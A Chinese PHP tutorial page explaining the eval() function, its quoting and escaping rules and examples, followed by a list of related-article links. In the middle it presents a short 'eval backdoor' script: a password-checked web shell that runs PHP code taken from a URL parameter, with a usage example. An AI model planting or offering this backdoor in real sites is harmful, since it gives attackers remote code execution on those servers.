PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
深入理解PHP之require/include顺序 推荐
Jan 02 PHP
提示Trying to clone an uncloneable object of class Imagic的解决
Oct 27 PHP
php使用Smarty的相关注意事项及访问变量的几种方式
Dec 08 PHP
php curl常见错误:SSL错误、bool(false)
Dec 28 PHP
PHP中创建空文件的代码[file_put_contents vs touch]
Jan 20 PHP
PHP数据流应用的一个简单实例
Sep 14 PHP
教你如何用php实现LOL数据远程获取
Jun 10 PHP
PHP生成和获取XML格式数据的方法
Mar 04 PHP
PHP实现二维数组按某列进行排序的方法
Nov 18 PHP
解决Yii2邮件发送结果返回成功,但接收不到邮件的问题
May 23 PHP
php 可变函数使用小结
Jun 12 PHP
Laravel自动生成UUID,从建表到使用详解
Oct 24 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
php代码优化及php相关问题总结
2006/10/09 PHP
JS 网站性能优化笔记
2011/05/24 PHP
php 过滤英文标点符号及过滤中文标点符号代码
2014/06/12 PHP
thinkPHP使用post方式查询时分页失效的解决方法
2015/12/09 PHP
Thinkphp和onethink实现微信支付插件
2016/04/13 PHP
浅谈关于PHP解决图片无损压缩的问题
2017/09/01 PHP
laravel请求参数校验方法
2019/10/10 PHP
基于Laravel 多个中间件的执行顺序详解
2019/10/21 PHP
图片动画横条广告带上下滚动的JS代码
2013/10/25 Javascript
javascript表单验证使用示例(javascript验证邮箱)
2014/01/07 Javascript
JavaScript控制按钮可用或不可用的方法
2015/04/03 Javascript
浅谈Node.js中的定时器
2015/06/18 Javascript
AngularJs动态加载模块和依赖注入详解
2016/01/11 Javascript
js操作数据库实现注册和登陆的简单实例
2016/05/26 Javascript
全面了解javascript三元运算符
2016/06/27 Javascript
学习 NodeJS 第八天:Socket 通讯实例
2016/12/21 NodeJs
微信小程序三级联动选择器使用方法
2020/05/19 Javascript
JavaScript中arguments和this对象用法分析
2018/08/08 Javascript
nodejs 使用nodejs-websocket模块实现点对点实时通讯
2018/11/28 NodeJs
原生JavaScript写出Tabs标签页的实例代码
2020/07/20 Javascript
Node.js web 应用如何封装到Docker容器中
2020/09/01 Javascript
JavaScript 生成唯一ID的几种方式
2021/02/19 Javascript
[07:09]DOTA2-DPC中国联赛 正赛 Ehome vs Elephant 选手采访
2021/03/11 DOTA
Python 时间操作例子和时间格式化参数小结
2014/04/24 Python
python实现端口转发器的方法
2015/03/13 Python
python实现批量监控网站
2016/09/09 Python
Python cv2 图像自适应灰度直方图均衡化处理方法
2018/12/07 Python
使用python3构建文件传输的方法
2019/02/13 Python
Python 中使用 PyMySQL模块操作数据库的方法
2019/11/10 Python
python+tifffile之tiff文件读写方式
2020/01/13 Python
python和php学习哪个更有发展
2020/06/17 Python
SKECHERS官方旗舰店:美国舒适运动休闲品牌
2017/12/22 全球购物
党校培训自我鉴定范文
2014/04/10 职场文书
防汛工作情况汇报
2014/10/28 职场文书
感谢信格式范文
2015/01/22 职场文书
用python修改excel表某一列内容的操作方法
2021/06/11 Python